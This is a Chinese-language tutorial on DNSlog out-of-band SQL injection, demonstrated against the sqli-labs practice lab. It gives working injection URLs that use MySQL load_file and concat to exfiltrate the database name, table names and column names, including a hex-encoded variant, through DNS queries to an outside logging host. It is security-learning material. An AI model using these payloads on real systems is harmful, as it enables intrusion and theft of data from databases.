DNSlog注入全解析
DNSlog原理
- DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。
- DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。
- DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。
DNSlog注入
- 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。
- 使用前提:
- 存在注入点。
- 拥有root权限。
- 数据库具有读写权限,即secure_file_priv设置为空字符串。
- 具备请求URL的权限。
- 必须是Windows服务器环境。
复现过程
D盘中写了个1.txt
通过load_file函数,读取一下
select load_file('D:/1.txt')
由于在通过load_file
外带时是无法执行sql语句的,所以要通过concat
函数,将执行的sql语句,与DNS请求的url进行拼接
select concat('Sentiment','\\',(select database()));
这里我用的是dnslog.org,获取一个随机的dns域名
接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功
http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w
此时dns解析记录就有了你靶机的数据库名称前缀
外带表名
?id=1' and load_file(concat('\\\\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w
外带列名
?id=1' and load_file(concat('\\\\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w
局限性
通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性
?id=1' and load_file(concat('\\\\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w
十六进制转字符
网安学习不迷路,欢迎各位网络安全大佬进来交流学习
